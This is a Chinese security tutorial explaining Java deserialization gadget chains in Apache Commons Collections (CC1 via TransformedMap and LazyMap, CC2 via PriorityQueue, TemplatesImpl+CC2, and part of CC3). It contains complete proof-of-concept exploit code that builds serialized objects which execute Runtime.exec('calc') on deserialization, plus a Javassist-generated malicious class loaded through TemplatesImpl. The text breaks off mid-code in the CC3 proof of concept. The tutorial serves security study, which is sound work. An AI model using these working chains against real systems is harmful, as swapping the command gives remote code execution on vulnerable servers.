> 技术文档 > Java 安全之反序列化漏洞 —— 所有 CC 链详细讲解(一)_cc链

Java 安全之反序列化漏洞 —— 所有 CC 链详细讲解(一)_cc链


目录

目录

CC1 链

CC1 链 TransformedMap

CC1 链 LazyMap

CC2 链

利用链原理分析

拓展:核心代码详细分析

经典的 CC2 POC

TemplatesImpl + CC2 组合链

CC3 链

TemplatesImpl 利用链

Javassist 和 ClassLoadder 的配合生成恶意类

公众号:笨蛙安全


CC1 链

CC1 链 TransformedMap

JDK 历史版本下载:WEJDK学习站

直接在官网下会被重定向到新版本

JDK版本:JDK - 8u65(< 8u71 即可)

源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

新建一个 src 文件夹,把 src.zip 解压到 src 文件夹中

把下载的源码中的 sun 复制到 src 文件夹中

CommonsCollections <= 3.2.1,maven 导入依赖

  commons-collections commons-collections 3.2.1 

CC1 链的源头是 Commons collections 库中的 transformer 接口,这个接口里边的 transform 方法

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); // 实例化 InvokerTransformer 对象,通过有参构造器传入对应的参数 InvokerTransformer invokerTransformer = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); // 在源代码中可以看到 transform 通过反射来获取 input 对应的类、方法并执行(这个 input 我们传入 Runtime 就可以用来触发命令执行,对应的方法名我们已经通过有参构造传入了) invokerTransformer.transform(runtime);}

去找谁调用了这个类方法(transform())
下面这个先记住就好

在 TransformedMap 类的 checkSetValue 方法中调用了 InvokerTransformer 类的 transform 方法

由于是 protect 权限,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法 checkSetValue() 内部的这个 transform(),发现是 valueTransformer 进行调用,查看 valueTransformer,发现 valueTransformer 也是 protect 权限,继续查看 valueTransformer 从哪里来的,最后我们发现 decorate() 调用 TransformedMap() 的构造方法来的,所有涉及到的方法,只有 decorate 的权限修饰符是 public, 也就是说,我们可以控制 decorate() 方法内的 valueTransformer 的值

那么我们可以先调用 decorate 控制 valueTransformer 的值,再想办法调用 checkSetValue() 方法。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); // invokerTransformer.transform(runtime); HashMap map = new HashMap(); // TransformedMap.decorate(...) 会返回一个包装过的 Map // 目的时为了最终还会执行 invokerTransformer.transform(runtime); 这段代码 Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);}

接下来就要找谁调用了 checkSetValue() 方法

所以可以通过如下方法来触发 setValue(),不过在此之前需要 map.put(1, 2); 来去报 Map 不为空,否则会报错,键值可以随便给,只要不为空就好

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); // transformer.transform(runtime); HashMap map = new HashMap(); map.put(1, 2); // TransformedMap.decorate(...) 会返回一个包装过的 Map Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer); transformedMap.entrySet().iterator().next().setValue(runtime);}

通过 for 循环实现

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); // transformer.transform(runtime); HashMap map = new HashMap(); map.put(1, 2); // TransformedMap.decorate(...) 会返回一个包装过的 Map Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry entry : transformedMap.entrySet()){ entry.setValue(runtime); }}

transformedMap.entrySet().iterator().next().setValue(runtime);for 循环效果是一样的,不过这个方法只处理第一个 Entry,Map 可能有多个键值对。为了确保至少有一个 entry 被触发,就需要 for 循环遍历所有 entry,并对每一个都调用 setValue(简单的理解:就是我不知道哪个能触发命令,那就全部都试一遍)

继续寻找,看看谁调用了 setValue() 方法

定位到 readObject 方法,这就是我们的入口方法

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException(\"Non-annotation type in annotation serial stream\"); } Map<String, Class> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. // for 循环读取传入的 Map(即 transformedMap),并遍历所有 entry: for (Map.Entry memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) ||  value instanceof ExceptionProxy)) { memberValue.setValue(  new AnnotationTypeMismatchExceptionProxy( value.getClass() + \"[\" + value + \"]\").setMember( annotationType.members().get(name))); } } }}

当你反序列化一个注解代理对象时,Java 会调用 AnnotationInvocationHandler.readObject() 方法来重建注解的状态,在这个过程中,他会检查 Map 中的每一个键是否是注解中定义的有效属性名(即对应某个方法名)。

String name = memberValue.getKey();// 此时 name 就是 map.put() 设置的 key 的名称(键名) \"value\"
Class memberType = memberTypes.get(name);//● 作用:从 memberTypes 这个 Map<String, Class> 中查找当前成员在注解定义中的预期类型。//● memberTypes 保存了注解接口中每个成员的声明类型(如 String.class、int.class、Class[].class)等。//● 如果返回 null,表示这个成员已经不存在于当前注解中,所以为了不然返回 null,map.put() 中的键名要设置为注解中存在的属性名,绕过 if (memberType != null) {;//● memberTypes.get(\"value\") 返回的就是ElementType[].class;//● 如果你设置的是其他键名(如 \"abc\"、\"key\"),则 memberType 会为 null,表示这不是注解接口中定义的成员,就不会触发后续的类型检查和写入操作;

memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + \"[\" + value + \"]\").setMember( annotationType.members().get(name)));

检查到类型不匹配时,用一个异常代理对象替换原始值

  • new AnnotationTypeMismatchExceptionProxy(...):创建一个类型不匹配异常的代理对象。
  • setMember(...):设置该异常代理所代表的注解成员,(从 annotationType.members() 获取)。
  • memberValue.setValue(...):替换原来的非法值。

类型不匹配才会触发 setValue -> TransformedMap 的 Transformer:由于 Target.value() 的预期类型是 ElementType[],而你放入的是 Integer(2),所以类型不匹配

所以 map.put() 的值不能设置为 String,因为 String 类型符合注解接口定义的 String value(),就不会执行 setValue()

AnnotationInvocationHandler 类重写 readObject 方法用来对反序列化注解做处理,所以在 cc1 链中要利用它触发 readObject 就需要传递可以满足条件的注解。

public class CC1Test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); HashMap map = new HashMap(); map.put(\"value\", 2); Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 通过反射获取 AnnotationlnvocationHandler 的构造方法 Class cls = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); Constructor annotationInvocationHandlerConstructorMethod = cls.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructorMethod.setAccessible(true); Object obj = annotationInvocationHandlerConstructorMethod.newInstance(Target.class, transformedMap); serialize(obj); unserialize(\"ser.bin\"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"ser.bin\")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

现在的代码虽然可以成功进入 if 语句,并且能够成功执行 memberValue.setValue() 方法。但是还是有些问题 memberValue.setValue() 的参数是什么?通过我们前面的分析得知,memberValue.setValue() 需要传入 runtime 才行,这样才可以触发命令执行,即 memberValue.setValue(runtime)。

而 setValue() 的参数为 AnnotationTypeMismatchExceptionProxy 类型对象,且不可控

我们要传递 runtime 对象进去,肯定是在反序列化之前就进去了,也就是在生成对象的时候就放进去了。但是 runtime 对象实际上是无法实例化的,如下图所示

在 Java 中,如果一个类没有实现 Serializable 接口,则其对象不能被直接序列化。例如 Runtime 类就没有实现该接口,因此不能直接序列化 Runtime.getRuntime() 对象。 但是我们可以借助反序列化链(如 Commons Collections 链),通过反射机制在反序列化过程中动态获取 Runtime 类并调用其方法(如 exec),从而实现命令执行。(Class 对象 Runtime.class 是可以被序列化的,因为 java.lang.Class 实现了 Serializable 接口)

// 反射创建 runtime 对象Class classRuntime = Runtime.class;Method getRuntimeMethod = classRuntime.getDeclaredMethod(\"getRuntime\", null);Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);

但是这样是不行的,这还是无法序列化。所以需要有个方法,将上面的代码在 AnnotationInvocationHandler 对象序列化的时候生成 runtime 对象,而不是提前生成。

记得 InvokerTransformer 的 transform 方法,该方法可以执行任意方法,然后返回一个 invokerTransformer 对象。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Class classRuntime = Runtime.class; // 调用 InvokerTransformer 构造方法设置参数 InvokerTransformer invokerTransformer1 = new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}); Method getRuntime = (Method) invokerTransformer1.transform(classRuntime); InvokerTransformer invokerTransformer2 = new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}); Runtime runtime = (Runtime) invokerTransformer2.transform(getRuntime); // 上面四句代码等价于下面两句 // Method getRuntimeMethod = classRuntime.getDeclaredMethod(\"getRuntime\", null); // Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);}

但是上面的写法还是一样,绕不开 runtime 对象,仍然无法序列化

把 exec 执行代码的 invokerTransformer 加上

InvokerTransformer invokerTransformer3 = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"});invokerTransformer3.transform(runtime);
// 不需要其他代码,直接这个方法运行即可弹出计算器public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Class classRuntime = Runtime.class; // 调用 InvokerTransformer 构造方法设置参数 InvokerTransformer invokerTransformer1 = new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}); Method getRuntime = (Method) invokerTransformer1.transform(classRuntime); InvokerTransformer invokerTransformer2 = new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}); Runtime runtime = (Runtime) invokerTransformer2.transform(getRuntime); // 上面四句代码等价于下面两句 // Method getRuntimeMethod = classRuntime.getDeclaredMethod(\"getRuntime\", null); // Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null); InvokerTransformer invokerTransformer3 = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}); invokerTransformer3.transform(runtime);}

但是上述方法还是不行,transform 不能自己调用,这又回到了我们最前面讲解的 TransformedMap.decorate 的利用了。我们现在要的确实通过 readObject 自动调用 transform。

最终解决方法:

ChainedTransformer 类,这个类方法也调用了 InvokerTransformer 类的 transform 方法

Transformer[] transformers = new Transformer[]{ new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  • ChainedTransformer 类在实例化时,会传入 Transformer[] 数组,并将值 transformers 赋值给 iTransformers;
  • 使用 ChainedTransformer 对象调用 transform() 方法,会挨个执行 transformers 数组元素的 transform() 方法;
  • 也就是说,单独执行 transformer.transform() 和将 transformer 放入数组中执行 ChainedTransformer.transform() 效果是一样的;
  • 每次循环获得的 object 会当作参数传递给下一个 transform(),也就是数组中的 transformer 是有前后联系的。
InvokerTransformer invokerTransformer1 = new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null});Method getRuntime = (Method) invokerTransformer1.transform(classRuntime);// 调用 transform 触发漏洞利用InvokerTransformer invokerTransformer2 = new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null});Runtime runtime = (Runtime) invokerTransformer2.transform(getRuntime);InvokerTransformer invokerTransformer3 = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"});invokerTransformer3.transform(runtime);//----------------------------------------------------------------------------------------------------------------------------------------------------------------------------Transformer[] transformers = new Transformer[]{ new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ChainedTransformer 的 transform 方法最终在反序列化的时候会触发

当 i = 0 时,iTransformers[0].transform(object),也就是 new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}).transform(object)

new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}).transform(object)InvokerTransformer invokerTransformer1 = new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null});Method getRuntime = (Method) invokerTransformer1.transform(classRuntime);

数组中还要补一句:new ConstantTransformer(Runtime.class)
目的:提供 Runtime.class 作为整个反射调用链的起始点

Transformer[] transformers = new Transformer[]{ // 提供 Runtime.class 作为整个反射调用链的起始点 new ConstantTransformer(Runtime.class), // 获取 getRuntime 方法 new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}), // 调用静态方法获取 Runtime 实例 new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 最终执行命令 new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"})};
// 完整 CC1 链 POCpackage org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { // Runtime runtime = Runtime.getRuntime(); Class classRuntime = Runtime.class; // 调用 InvokerTransformer 构造方法设置参数// InvokerTransformer invokerTransformer1 = new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null});// Method getRuntime = (Method) invokerTransformer1.transform(classRuntime);// 调用 transform 触发漏洞利用// InvokerTransformer invokerTransformer2 = new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null});// Runtime runtime = (Runtime) invokerTransformer2.transform(getRuntime); // 上面四句代码等价于下面两句 // Method getRuntimeMethod = classRuntime.getDeclaredMethod(\"getRuntime\", null); // Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);// InvokerTransformer invokerTransformer3 = new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"});// invokerTransformer3.transform(runtime); // -------------------------------------------------------------------------------- Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put(\"value\", 2); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); // 通过反射获取 AnnotationlnvocationHandler 的构造方法 Class cls = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); Constructor annotationInvocationHandlerConstructorMethod = cls.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructorMethod.setAccessible(true); Object obj = annotationInvocationHandlerConstructorMethod.newInstance(Target.class, transformedMap); serialize(obj); unserialize(\"ser.bin\"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"ser.bin\")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

CC1 链 LazyMap

AnnotationInvocationHandler 类中的 invoke() 方法中调用了 LazyMap 类的 get() 方法

AnnotationInvocationHandler 用 Proxy 进行代理,在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler 类的 invoke() 方法中,触发 lazyMap 类的 get() 方法

完整 POC

package org.example;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Chain { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); //反射实例化AnnotationInvocationHandler Class c = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); Constructor constructor = c.getDeclaredConstructor(Class.class , Map.class); constructor.setAccessible(true); InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); // 动态代理, 触发 invoke() 方法 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler); Object annotationInvocationHandler1 = constructor.newInstance(Target.class, mapProxy); serialize(annotationInvocationHandler1); unserialize(\"ser.bin\"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"ser.bin\")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

CC2 链

CC2 是从 CC 3.x 升级到 4.x 后引入的新链

利用链原理分析

CC2 链的入口点为 PriorityQueue 类readObject() 方法

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // 读取对象的非静态、非 transient 字段(如 size、comparator 等) s.defaultReadObject(); // 读取并丢弃一个整型值 s.readInt(); // 根据读取的 size 创建一个新的对数组 // queue 是 PriorityQueue 内部存储元素的数组 queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // 调用 heapify() 方法将数组重新整理成一个合法的最小堆 heapify();}

跟进 heapify() 

所以这里要进入 for 循环,要满足 size >= 2,因为 size >>> 1 等价于 size / 2,所以后续在写 poc 的时候需要往队列中存最少两个值。

再跟进 siftDown()

comparator 是自定义比较器,如果 comparator != null 表示使用了自定义比较器,调用 siftDownUsingComparator() 方法,将 k、x 作为参数传递进去,对于数组 queue 和自定义比较器 comparator 是通过构造方法传递进来的,如下图所示:

siftDownUsingComparator() 跟进看看函数内部实现

comparator.compare((E) c, (E) queue[right]

上面那段代码的作用是对左右子节点进行比较,compare() 是 TransformingComparator 类的方法,该方法中调用了 Transform() 方法,后面的利用就和 CC1 链一样了。

继续跟踪 transform() 就会发现调用的是 InvokerTransformer 类中的 transform(),CC1 中已经说过了,这个会导致命令执行

所以 CC2 利用链的流程图如下:

拓展:核心代码详细分析

这一部分不感兴趣的师傅可以不看,感兴趣的师傅可以看一下

// 从一个初始数组开始,要对他调用 heapify()// 最终目的是将数组转换成最小堆结构原始数组 queue = [5, 3, 4, 1, 2]size = 5

size = 5 -> (5 >>> 1) - 1 = 2,所以从索引 i = 2 开始倒叙处理:i = 2 -> 1 -> 0

步骤一:i = 2,元素为 4

  • 当前节点:索引 2,值为 4
  • 左子节点索引:2 * 2 + 1 = 5(超出 size=5)
  • 没有子节点,直接跳过

步骤二:i = 1,元素为 3

  • 当前节点:索引 1,值为 3
  • 左子节点索引:2 * 1 + 1 = 3 (值为 1)
  • 右子节点索引:2 * 1 + 2 = 4 (值为2)
  • 比较左右子节点:1 < 2 (选较小的 1)
  • 3 > 1 (所以需要交换位置)

操作后的数组变为:[5,1,4,3,2]

步骤三:i = 0,元素 5

  • 当前节点:索引 0,值为 5
  • 左子节点索引:2 * 0 + 1 = 1 (值为 1)
  • 右子节点索引:2 * 0 + 2 = 2 (值为 4)
  • 比较左右子节点:1 < 4 (选较小的 1)
  • 5 > 1 (所以需要交换位置)

操作后的数组变为:[1,5,4,3,2]

到这一步后剩下的就由 siftDown 内部的 while 自己操作了(后续的继续下沉由 siftDown() 内部的 while 循环控制完成)

下沉到最后的结果为 [1,2,4,3,5]


  • size >>> 1 表示右移一位,等价于 size / 2;
  • 减去 1 得到最后一个非叶子节点的索引
  • 因为叶子节点无需下沉(没有子节点),所以只处理非叶子节点
  • 循环执行 siftDown() 方法对每个非叶子节点进行 “下沉”操作
  • 使用 siftDown(int k, E x) 方法将当前元素存放到合适的位置

heapify() 方法中 (size >>> 1) - 1 的由来:

  • 2 * i + 1 < size => i < (size - 1) / 2
  • i < (size - 1) / 2 等价于 Java 中的位运算 i = (size >>> 1) - 1

拓展分析

堆数组长度为 6:索引: 0 1 2 3 4 5元素: [A] [B] [C] [D] [E] [F]非叶子节点: A B C (索引 0, 1, 2)叶子节点: D E F (索引 3, 4, 5)i = (6 >>> 1) - 1 = 3 - 1 = 2从索引 2 开始倒序处理

如何判断上面的叶子节点和非叶子节点:

在堆(heap)这种完全二叉树结构中:

  • 每个节点最多有两个子节点;
  • 节点的左子节点索引为 2 * i + 1;
  • 右子节点索引为 2 * i + 2;
  • 如果某个节点的左子节点索引 >= size,说明它没有子节点,就是叶子节点

给定一个节点索引 i,数组长度为 size,如果满足:

(2 * i + 1) < size,说明该节点有左子节点,即它是非叶子节点;反之,如果 (2 * i + 1) >= size,则该节点没有子节点,是叶子节点

索引: 0 1 2 3 4 5元素: [A] [B] [C] [D] [E] [F]

对上面的数组进行分析:

  • 数组索引 i 从 0 开始:
  • size = 6

索引 i

左子节点索引(2*i+1)

是否小于 size=6

是非叶子节点吗?

0

2*0+1=1 < size

1

2*1+1=3 < size

2

2*2+1=5 < size

3

2*3+1=7 > size

4

2*4+1=9 > size

5

2*5+1=11 > size

经典的 CC2 POC

package org.example;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class testCC2 { public static void main(String[] args) throws Exception { // Step 1: 构造恶意 Transformer 链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[0]}), new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}) }; Transformer chain = new ChainedTransformer(transformers); // Step 2: 创建 TransformingComparator 使用该链 (自定义比较器) TransformingComparator comparator = new TransformingComparator(chain); // Step 3: 创建 PriorityQueue 并设置 Comparator PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(2); // Step 4: 反射替换 PriorityQueue 的 comparator 字段 Field field = PriorityQueue.class.getDeclaredField(\"comparator\"); field.setAccessible(true); field.set(queue, comparator); // Step 5: 序列化 & 反序列化测试 serialize(queue); unserialize(\"cc2.ser\"); } public static void serialize(Object obj) throws IOException { try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"cc2.ser\"))) { oos.writeObject(obj); } } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) { return ois.readObject(); } }}

注意:注意调整 maven 的 Commons Collections 依赖版本,还有就是比较器需要通过反射传入,如果直接在 PriorityQueue queue = new PriorityQueue(2, comparator); 会导致序列化的时间就触发了命令执行弹出计算器

--> org.apache.commons--> commons-collections4--> 4.0-->-->

TemplatesImpl + CC2 组合链

这个组合链涉及到了 TemplatesImpl 这条链,从目录中定位到该链的详细解析处

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class testCC2 { public static void main(String[] args) throws Exception { // 创建恶意类 ClassPool pool = ClassPool.getDefault(); CtClass supClass = pool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"); CtClass ctClass = pool.makeClass(\"TemplatesImplA\"); ctClass.setSuperclass(supClass); CtConstructor ctConstructor = ctClass.makeClassInitializer(); ctConstructor.setBody(\"Runtime.getRuntime().exec(\\\"calc\\\");\"); byte[] byteCode = ctClass.toBytecode(); // 创建一个 TemplatesImpl 链 TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field name = aClass.getDeclaredField(\"_name\"); name.setAccessible(true); name.set(templates, \"aaa\"); Field bytecodesField = aClass.getDeclaredField(\"_bytecodes\"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{byteCode}); Field tfactoryField = aClass.getDeclaredField(\"_tfactory\"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); // CC2 链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer(\"newTransformer\", new Class[]{}, new Object[]{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field comparatorMethod = Class.forName(\"java.util.PriorityQueue\").getDeclaredField(\"comparator\"); comparatorMethod.setAccessible(true); comparatorMethod.set(queue, transformingComparator); // 序列化 / 反序列化 serialize(queue); deserialize(\"cc2.ser\"); } public static void serialize(Object obj) throws IOException { try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"cc2.ser\"))) { oos.writeObject(obj); } } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) { return ois.readObject(); } }}

CC3 链

        CC1 和 CC6 都是通过 Runtime.exec() 进行命令执行的,当服务器的代码将 Runtime 放入黑名单的时候就不能使用了。CC3 链的好处是通过动态加载类的机制实现恶意类代码执行。

版本限制

  • jdk8u65
  • Commons-Collection 3.2.1

CC3 链 = CC1 前半段 + TemplatesImpl 类利用链,所以对于 CC3 链就不再赘述了,不记得就复习前面的 CC1 链和 TemplatesImpl 链即可

完整 POC (下面的写法利用了 javassist 来生成恶意类),当然了也可以使用自己写好恶意类编译成 .class

所以 CC3 没什么好讲的,弄懂了 CC1 和 TemplatesImpl 就自然明白了 CC3 链,TemplatesImpl 内容从目录定位到相关地方学习后再回来看 CC3 这部分

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC1Chain { public static void main(String[] args) throws Exception { // TemplatesImpl 链 ClassPool pool = ClassPool.getDefault(); CtClass superClass = pool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"); CtClass ctClass = pool.makeClass(\" TemplatesImplTest\"); ctClass.setSuperclass(superClass); // 设置父类为 AbstractTranslet CtConstructor ctConstructor1 = ctClass.makeClassInitializer(); 